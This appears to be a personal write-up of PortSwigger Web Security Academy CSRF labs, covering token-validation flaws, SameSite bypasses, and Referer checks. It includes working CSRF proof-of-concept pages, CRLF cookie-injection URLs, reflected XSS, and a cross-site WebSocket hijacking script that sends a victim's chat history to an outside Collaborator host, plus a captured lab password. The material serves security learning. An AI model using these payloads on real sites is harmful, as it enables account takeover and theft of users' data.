Post

CSRF - Client Side Request Forgery

CSRF - Client Side Request Forgery

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

image

  • The attacker’s page will trigger an HTTP request to the vulnerable website.
  • If the user is logged in to the vulnerable website, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used).
  • The vulnerable website will process the request in the normal way, treat it as having been made by the victim user, and change their email address.

After a user authenticates into the site, the attackers target functions that allow them to make changes, like:

  • Changing an email address
  • Creating a new password
  • Making a purchase
  • Transferring funds
  • Elevating privileges

Note Although CSRF is normally described in relation to cookie-based session handling, it also arises in other contexts where the application automatically adds some user credentials to requests, such as HTTP Basic authentication and certificate-based authentication.

How to construct a CSRF attack

Manually creating the HTML needed for a CSRF exploit can be cumbersome, particularly where the desired request contains a large number of parameters, or there are other quirks in the request. The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:

  • Select a request anywhere in Burp Suite Professional that you want to test or exploit.
  • From the right-click context menu, select Engagement tools / Generate CSRF PoC.
  • Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim’s browser).
  • You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.
  • Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable website, and test whether the intended request is issued successfully and the desired action occurs.

Lab: CSRF vulnerability with no defenses

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a10000603d343e480c8449c005a0083.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="atacker@attacker.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Send it to victim using exploit server.

Common defences against CSRF

Nowadays, successfully finding and exploiting CSRF vulnerabilities often involves bypassing anti-CSRF measures deployed by the target website, the victim’s browser, or both. The most common defenses you’ll encounter are as follows:

  • CSRF tokens - A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared with the client. When attempting to perform a sensitive action, such as submitting a form, the client must include the correct CSRF token in the request. This makes it very difficult for an attacker to construct a valid request on behalf of the victim.

  • SameSite cookies - SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites. As requests to perform sensitive actions typically require an authenticated session cookie, the appropriate SameSite restrictions may prevent an attacker from triggering these actions cross-site. Since 2021, Chrome enforces Lax SameSite restrictions by default. As this is the proposed standard, we expect other major browsers to adopt this behavior in future.

  • Referer-based validation - Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. This is generally less effective than CSRF token validation.

Attacks against CSRF

Validation of CSRF token depends on request method

Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

In this situation, the attacker can switch to the GET method to bypass the validation and deliver a CSRF attack:

1
GET /email/change?email=pwned@evil-user.net HTTP/1.1 Host: vulnerable-website.com Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

Lab: CSRF where token validation depends on request method

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a7e00eb04b41c8c804608170011006b.web-security-academy.net/my-account/change-email" method="GET">
      <input type="hidden" name="email" value="atacker@attacker.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Method changed to GET instead of POST

Validation of CSRF token depends on token being present

Some applications correctly validate the token when it is present but skip the validation if the token is omitted.

In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack:

1
POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 25 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm email=pwned@evil-user.net

Lab: CSRF where token validation depends on token being present

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a0200600312785b80141c6d00610051.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="atacker@attacker.com" />
      <!--   <input type="hidden" name="csrf" value="wpZXQHalDRjoCacMlxPTwFpQveT6zKGG" /> -->
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Commented the CSRF token in the request

CSRF token is not tied to the user session

Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.

In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.

Lab: CSRF where token is not tied to user session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ac800c6031fc5d9805417fa006800ba.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@attacke.com" />
      <input type="hidden" name="csrf" value="rxBON2QIlqA8IbNblIuLOQGVGMFpgM3H" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

There might be multiple CSRF based on the requirement for eg: session, update email, update password. We can use those all for checking this vulnerability. Also remember to use the latest token, as the CSRF token expires in less than a minute.

In a variation on the preceding vulnerability, some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together:

1
POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

This situation is harder to exploit but is still vulnerable. If the website contains any behavior that allows an attacker to set a cookie in a victim’s browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

Note The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability. Any other application within the same overall DNS domain can potentially be leveraged to set cookies in the application that is being targeted, if the cookie that is controlled has suitable scope. For example, a cookie-setting function on staging.demo.normal-website.com could be leveraged to place a cookie that is submitted to secure.normal-website.com.

==Very Critical Vulnerability==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ac9004e03f2de29845e954100cb0043.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="finalytry@gmail.com" />
      <input type="hidden" name="csrf" value="U25149ecuaCpVspYadLVhivdVl97T71R" />
      <input type="submit" value="Submit request" />
    </form>

        <img src="https://0ac9004e03f2de29845e954100cb0043.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=Iykqv8lgasVDxw1AYrKW5L5HLlB2Owfx%3b%20SameSite=None" onerror="document.forms[0].submit()">
 
  </body>
</html>

Here we changed the csrf token and also the crsfkey by doing a search and changing the csrfkey value as well. This is most critical level vulenerability.

Steps for solution:

  1. Open Burp’s browser and log in to your account. Submit the “Update email” form, and find the resulting request in your Proxy history.
  2. Send the request to Burp Repeater and observe that changing the session cookie logs you out, but changing the csrfKey cookie merely results in the CSRF token being rejected. This suggests that the csrfKey cookie may not be strictly tied to the session.
  3. Open a private/incognito browser window, log in to your other account, and send a fresh update email request into Burp Repeater.
  4. Observe that if you swap the csrfKey cookie and csrf parameter from the first account to the second account, the request is accepted.
  5. Close the Repeater tab and incognito browser.
  6. Back in the original browser, perform a search, send the resulting request to Burp Repeater, and observe that the search term gets reflected in the Set-Cookie header. Since the search function has no CSRF protection, you can use this to inject cookies into the victim user’s browser.
  7. Create a URL that uses this vulnerability to inject your csrfKey cookie into the victim’s browser: /?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
  8. Create and host a proof of concept exploit as described in the solution to the CSRF vulnerability with no defenses lab, ensuring that you include your CSRF token. The exploit should be created from the email change request.
  9. Remove the auto-submit <script> block, and instead add the following code to inject the cookie: <img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
  10. Change the email address in your exploit so that it doesn’t match your own.
  11. Store the exploit, then click “Deliver to victim” to solve the lab.

In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the “double submit” defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state:

POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

In this situation, the attacker can again perform a CSRF attack if the website contains any cookie setting functionality. Here, the attacker doesn’t need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

1
2
3
4
5
6
7
8
9
10
11
12
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a3300e004da49a180d90d44007500de.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@hack.com" />
      <input type="hidden" name="csrf" value="iQRAzm1ROkuiVhQErZDmHSqejxTRpHMz" />
      <input type="submit" value="Submit request" />
    </form>
<img src="https://0a3300e004da49a180d90d44007500de.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=iQRAzm1ROkuiVhQErZDmHSqejxTRpHMz%3b%20SameSite=None" onerror="document.forms[0].submit()">    </script>
  </body>
</html>

Similar to last lab, set the csrf cookie using the search function, then similar csrf poc for changing cookie and email

Bypassing SameSite cookie restrictions

    
Request fromRequest toSame-site?Same-origin?
https://example.comhttps://example.comYesYes
https://app.example.comhttps://intranet.example.comYesNo: mismatched domain name
https://example.comhttps://example.com:8080YesNo: mismatched port
https://example.comhttps://example.co.ukNo: mismatched eTLDNo: mismatched domain name
https://example.comhttp://example.comNo: mismatched schemeNo: mismatched scheme

Samesite:

Strict:

1
2
3
4
5
6
If a cookie is set with the `SameSite=Strict` attribute, browsers will not send it in any cross-site requests. ### Lax:
`Lax` SameSite restrictions mean that browsers will send the cookie in cross-site requests, but only if both of the following conditions are met:

	- The request uses the `GET` method.
	    
	- The request resulted from a top-level navigation by the user, such as clicking on a link.

None:

1
2
3
4
5
If a cookie is set with the `SameSite=None` attribute, this effectively disables SameSite restrictions altogether, regardless of the browser.

When setting a cookie with `SameSite=None`, the website must also include the `Secure` attribute, which ensures that the cookie is only sent in encrypted messages over HTTPS. Otherwise, browsers will reject the cookie and it won't be set.

	`Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure`

Lab: SameSite Lax bypass via method override

How to find Lax in site: 1. As Lax is default to browsers, so its better to assume all sites have lax, except the samesite is explicitly mentioned.

Steps:

  1. In Burp Repeater, right-click on the request and select Change request method. Burp automatically generates an equivalent GET request.
  2. Send the request. Observe that the endpoint only allows POST requests.
  3. Try overriding the method by adding the _method parameter to the query string: GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a3f0023040f30f2804553bb004c00c0.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="adm1n@gmail.com" />
      <input type="hidden" name="_method" value="POST" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Bypassing SameSite restrictions using on-site gadgets

If a cookie is set with the SameSite=Strict attribute, browsers won’t include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.

One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters. For some examples, see our materials on DOM-based open redirection.

As far as browsers are concerned, these client-side redirects aren’t really redirects at all; the resulting request is just treated as an ordinary, standalone request. Most importantly, this is a same-site request and, as such, will include all cookies related to the site, regardless of any restrictions that are in place.

If you can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.

Note that the equivalent attack is not possible with server-side redirects. In this case, browsers recognize that the request to follow the redirect resulted from a cross-site request initially, so they still apply the appropriate cookie restrictions.

Lab: SameSite Strict bypass via client-side redirect

==This is very critical vulnerability, go through the steps one by one!==

Solution:

Study the change email function
  1. In Burp’s browser, log in to your own account and change your email address.

  2. In Burp, go to the Proxy > HTTP history tab.

  3. Study the POST /my-account/change-email request and notice that this doesn’t contain any unpredictable tokens, so may be vulnerable to CSRF if you can bypass any SameSite cookie restrictions.

  4. Look at the response to your POST /login request. Notice that the website explicitly specifies SameSite=Strict when setting session cookies. This prevents the browser from including these cookies in cross-site requests.

Identify a suitable gadget
  1. In the browser, go to one of the blog posts and post an arbitrary comment. Observe that you’re initially sent to a confirmation page at /post/comment/confirmation?postId=x but, after a few seconds, you’re taken back to the blog post.

  2. In Burp, go to the proxy history and notice that this redirect is handled client-side using the imported JavaScript file /resources/js/commentConfirmationRedirect.js.

  3. Study the JavaScript and notice that this uses the postId query parameter to dynamically construct the path for the client-side redirect.

  4. In the proxy history, right-click on the GET /post/comment/confirmation?postId=x request and select Copy URL.

  5. In the browser, visit this URL, but change the postId parameter to an arbitrary string.

    /post/comment/confirmation?postId=foo

  6. Observe that you initially see the post confirmation page before the client-side JavaScript attempts to redirect you to a path containing your injected string, for example, /post/foo.

  7. Try injecting a path traversal sequence so that the dynamically constructed redirect URL will point to your account page:

    /post/comment/confirmation?postId=1/../../my-account

  8. Observe that the browser normalizes this URL and successfully takes you to your account page. This confirms that you can use the postId parameter to elicit a GET request for an arbitrary endpoint on the target site.

Bypass the SameSite restrictions
  1. In the browser, go to the exploit server and create a script that induces the viewer’s browser to send the GET request you just tested. The following is one possible approach:

    <script> document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account"; </script>

  2. Store and view the exploit yourself.

  3. Observe that when the client-side redirect takes place, you still end up on your logged-in account page. This confirms that the browser included your authenticated session cookie in the second request, even though the initial comment-submission request was initiated from an arbitrary external site.

Craft an exploit
  1. Send the POST /my-account/change-email request to Burp Repeater.

  2. In Burp Repeater, right-click on the request and select Change request method. Burp automatically generates an equivalent GET request.

  3. Send the request. Observe that the endpoint allows you to change your email address using a GET request.

  4. Go back to the exploit server and change the postId parameter in your exploit so that the redirect causes the browser to send the equivalent GET request for changing your email address:

    <script> document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1"; </script>

    Note that you need to include the submit parameter and URL encode the ampersand delimiter to avoid breaking out of the postId parameter in the initial setup request.

  5. Test the exploit on yourself and confirm that you have successfully changed your email address.

  6. Change the email address in your exploit so that it doesn’t match your own.

  7. Deliver the exploit to the victim. After a few seconds, the lab is solved.

Payload used
1
2
3
4
5
    <script>
        window.location = "https://0a3b00c80485921f81e7716600130040.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=exploit%40gmail.com%26submit=1";
    </script>


Bypassing SameSite restrictions via vulnerable sibling domains

Whether you’re testing someone else’s website or trying to secure your own, it’s essential to keep in mind that a request can still be same-site even if it’s issued cross-origin.

Make sure you thoroughly audit all of the available attack surface, including any sibling domains. In particular, vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the site’s domains to cross-site attacks.

In addition to classic CSRF, don’t forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake. For more details, see our topic on WebSocket vulnerabilities.

Lab: SameSite Strict bypass via sibling domain

Cross-site WebSocket hijacking (CSWSH)

==Adv CSRF using the Websockets==

Solution:

Study the live chat feature
  1. In Burp’s browser, go to the live chat feature and send a few messages.

  2. In Burp, go to the Proxy > HTTP history tab and find the WebSocket handshake request. This should be the most recent GET /chat request.

  3. Notice that this doesn’t contain any unpredictable tokens, so may be vulnerable to CSWSH if you can bypass any SameSite cookie restrictions.

  4. In the browser, refresh the live chat page.

  5. In Burp, go to the Proxy > WebSockets history tab. Notice that when you refresh the page, the browser sends a READY message to the server. This causes the server to respond with the entire chat history.

Confirm the CSWSH vulnerability
  1. In Burp, go to the Collaborator tab and click Copy to clipboard. A new Collaborator payload is saved to your clipboard.

  2. In the browser, go to the exploit server and use the following template to create a script for a CSWSH proof of concept:

    <script> var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script>

  3. Store and view the exploit yourself

  4. In Burp, go back to the Collaborator tab and click Poll now. Observe that you have received an HTTP interaction, which indicates that you’ve opened a new live chat connection with the target site.

  5. Notice that although you’ve confirmed the CSWSH vulnerability, you’ve only exfiltrated the chat history for a brand new session, which isn’t particularly useful.

  6. Go to the Proxy > HTTP history tab and find the WebSocket handshake request that was triggered by your script. This should be the most recent GET /chat request.

  7. Notice that your session cookie was not sent with the request.

  8. In the response, notice that the website explicitly specifies SameSite=Strict when setting session cookies. This prevents the browser from including these cookies in cross-site requests.

Identify an additional vulnerability in the same “site”
  1. In Burp, study the proxy history and notice that responses to requests for resources like script and image files contain an Access-Control-Allow-Origin header, which reveals a sibling domain at cms-YOUR-LAB-ID.web-security-academy.net.

  2. In the browser, visit this new URL to discover an additional login form.

  3. Submit some arbitrary login credentials and observe that the username is reflected in the response in the Invalid username message.

  4. Try injecting an XSS payload via the username parameter, for example:

    <script>alert(1)</script>

  5. Observe that the alert(1) is called, confirming that this is a viable reflected XSS vector.

  6. Send the POST /login request containing the XSS payload to Burp Repeater.

  7. In Burp Repeater, right-click on the request and select Change request method to convert the method to GET. Confirm that it still receives the same response.

  8. Right-click on the request again and select Copy URL. Visit this URL in the browser and confirm that you can still trigger the XSS. As this sibling domain is part of the same site, you can use this XSS to launch the CSWSH attack without it being mitigated by SameSite restrictions.

Bypass the SameSite restrictions
  1. Recreate the CSWSH script that you tested on the exploit server earlier.

    <script> var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script>

  2. URL encode the entire script.

  3. Go back to the exploit server and create a script that induces the viewer’s browser to send the GET request you just tested, but use the URL-encoded CSWSH payload as the username parameter. The following is one possible approach:

    <script> document.location = "https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything"; </script>

  4. Store and view the exploit yourself.

  5. In Burp, go back to the Collaborator tab and click Poll now. Observe that you’ve received a number of new interactions, which contain your entire chat history.

  6. Go to the Proxy > HTTP history tab and find the WebSocket handshake request that was triggered by your script. This should be the most recent GET /chat request.

  7. Confirm that this request does contain your session cookie. As it was initiated from the vulnerable sibling domain, the browser considers this a same-site request.

Deliver the exploit chain
  1. Go back to the exploit server and deliver the exploit to the victim.

  2. In Burp, go back to the Collaborator tab and click Poll now.

  3. Observe that you’ve received a number of new interactions.

  4. Study the HTTP interactions and notice that these contain the victim’s chat history.

  5. Find a message containing the victim’s username and password.

  6. Use the newly obtained credentials to log in to the victim’s account and the lab is solved.

    My solution used - Prefer the collaborator mostly

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    <script>
     var ws = new WebSocket("wss://0a33002a03baef3d801a94da00e500df.web-security-academy.net/chat");
     ws.onopen = function() {
         ws.send("READY");
     };
     ws.onmessage = function(event) {
         fetch("https://66aijq53vq48jirirv9gftzmedk48uwj.oastify.com", {method: 'POST', mode: 'no-cors', body: event.data});
     };
    </script>
    
1
<script> document.location = "https://cms-0a33002a03baef3d801a94da00e500df.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%22%77%73%73%3a%2f%2f%30%61%33%33%30%30%32%61%30%33%62%61%65%66%33%64%38%30%31%61%39%34%64%61%30%30%65%35%30%30%64%66%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%22%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%22%68%74%74%70%73%3a%2f%2f%36%36%61%69%6a%71%35%33%76%71%34%38%6a%69%72%69%72%76%39%67%66%74%7a%6d%65%64%6b%34%38%75%77%6a%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%22%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=anything"; </script>

carlos: aloxc655k8vii0kna7uf

Bypassing SameSite Lax restrictions with newly issued cookies

Cookies with Lax SameSite restrictions aren’t normally sent in any cross-site POST requests, but there are some exceptions.

As mentioned earlier, if a website doesn’t include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn’t actually enforce these restrictions for the first 120 seconds on top-level POST requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.

Note This two-minute window does not apply to cookies that were explicitly set with the SameSite=Lax attribute.

It’s somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn’t necessarily know whether the user is still logged in to the target site.

To trigger the cookie refresh without the victim having to manually log in again, you need to use a top-level navigation, which ensures that the cookies associated with their current OAuth session are included. This poses an additional challenge because you then need to redirect the user back to your site so that you can launch the CSRF attack.

Alternatively, you can trigger the cookie refresh from a new tab so the browser doesn’t leave the page before you’re able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they’re opened via a manual interaction. For example, the following popup will be blocked by the browser by default:

window.open('https://vulnerable-website.com/login/sso');

To get around this, you can wrap the statement in an onclick event handler as follows:

window.onclick = () => { window.open('https://vulnerable-website.com/login/sso'); }

This way, the window.open() method is only invoked when the user clicks somewhere on the page.

==Adv SameSite Bypass only when explict SameSite is not mentioned to Lax or Strict ==

Solution

Study the change email function
  1. In Burp’s browser, log in via your social media account and change your email address.

  2. In Burp, go to the Proxy > HTTP history tab.

  3. Study the POST /my-account/change-email request and notice that this doesn’t contain any unpredictable tokens, so may be vulnerable to CSRF if you can bypass any SameSite cookie restrictions.

  4. Look at the response to the GET /oauth-callback?code=[...] request at the end of the OAuth flow. Notice that the website doesn’t explicitly specify any SameSite restrictions when setting session cookies. As a result, the browser will use the default Lax restriction level.

Attempt a CSRF attack
  1. In the browser, go to the exploit server.

  2. Use the following template to create a basic CSRF attack for changing the victim’s email address:

    <script> history.pushState('', '', '/') </script> <form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="foo@bar.com" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script>

  3. Store and view the exploit yourself. What happens next depends on how much time has elapsed since you logged in:

    • If it has been longer than two minutes, you will be logged in via the OAuth flow, and the attack will fail. In this case, repeat this step immediately.

    • If you logged in less than two minutes ago, the attack is successful and your email address is changed. From the Proxy > HTTP history tab, find the POST /my-account/change-email request and confirm that your session cookie was included even though this is a cross-site POST request.

Bypass the SameSite restrictions
  1. In the browser, notice that if you visit /social-login, this automatically initiates the full OAuth flow. If you still have a logged-in session with the OAuth server, this all happens without any interaction.

  2. From the proxy history, notice that every time you complete the OAuth flow, the target site sets a new session cookie even if you were already logged in.

  3. Go back to the exploit server.

  4. Change the JavaScript so that the attack first refreshes the victim’s session by forcing their browser to visit /social-login, then submits the email change request after a short pause. The following is one possible approach:

    <form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="pwned@web-security-academy.net"> </form> <script> window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login'); setTimeout(changeEmail, 5000); function changeEmail(){ document.forms[0].submit(); } </script>

    Note that we’ve opened the /social-login in a new window to avoid navigating away from the exploit before the change email request is sent.

  5. Store and view the exploit yourself. Observe that the initial request gets blocked by the browser’s popup blocker.

  6. Observe that, after a pause, the CSRF attack is still launched. However, this is only successful if it has been less than two minutes since your cookie was set. If not, the attack fails because the popup blocker prevents the forced cookie refresh.

Bypass the popup blocker
  1. Realize that the popup is being blocked because you haven’t manually interacted with the page.

  2. Tweak the exploit so that it induces the victim to click on the page and only opens the popup once the user has clicked. The following is one possible approach:

    <form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="pwned@portswigger.net"> </form> <p>Click anywhere on the page</p> <script> window.onclick = () => { window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login'); setTimeout(changeEmail, 5000); } function changeEmail() { document.forms[0].submit(); } </script>

  3. Test the attack on yourself again while monitoring the proxy history in Burp.

  4. When prompted, click the page. This triggers the OAuth flow and issues you a new session cookie. After 5 seconds, notice that the CSRF attack is sent and the POST /my-account/change-email request includes your new session cookie.

  5. Go to your account page and confirm that your email address has changed.

  6. Change the email address in your exploit so that it doesn’t match your own.

  7. Deliver the exploit to the victim to solve the lab.

    My Solution used:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
    &lt;form method=&quot;POST&quot; action=&quot;hxxps[://]0a1b007204fd51be80a95809001b005a[.]web-security-academy[.]net/my-account/change-email&quot;&gt;
     &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;hacked@portswigger.net&quot;&gt;
    &lt;/form&gt;
    &lt;p&gt;Click anywhere on the page&lt;/p&gt;
    &lt;script&gt;
     window.onclick = () =&gt; {
         window.open('hxxps[://]0a1b007204fd51be80a95809001b005a[.]web-security-academy[.]net/social-login');
         setTimeout(changeEmail, 5000);
     }
    
     function changeEmail() {
         document.forms[0].submit();
     }
    &lt;/script&gt;
    

Note: Decode the above solution in From HTTP entity using cyberchef to view the decoded script.

Bypassing Referer-based CSRF defenses

Aside from defenses that employ CSRF tokens, some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. This approach is generally less effective and is often subject to bypasses.

Referer header

The HTTP Referer header (which is inadvertently misspelled in the HTTP specification) is an optional request header that contains the URL of the web page that linked to the resource that is being requested. It is generally added automatically by browsers when a user triggers an HTTP request, including by clicking a link or submitting a form. Various methods exist that allow the linking page to withhold or modify the value of the Referer header. This is often done for privacy reasons.

Validation of Referer depends on header being present

Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.

In this situation, an attacker can craft their CSRF exploit in a way that causes the victim user’s browser to drop the Referer header in the resulting request. There are various ways to achieve this, but the easiest is using a META tag within the HTML page that hosts the CSRF attack:

<meta name="referrer" content="never">

Lab: CSRF where Referer validation depends on header being present

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0aaa002103e29aa884a8743c00380042.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@gmail.com" />
      <input type="submit" value="Submit request" />
      <meta name="referrer" content="never">
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Validation of Referer can be circumvented (mis-spelled referrer)

Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain:

http://vulnerable-website.com.attacker-website.com/csrf-attack

Likewise, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL:

http://attacker-website.com/csrf-attack?vulnerable-website.com

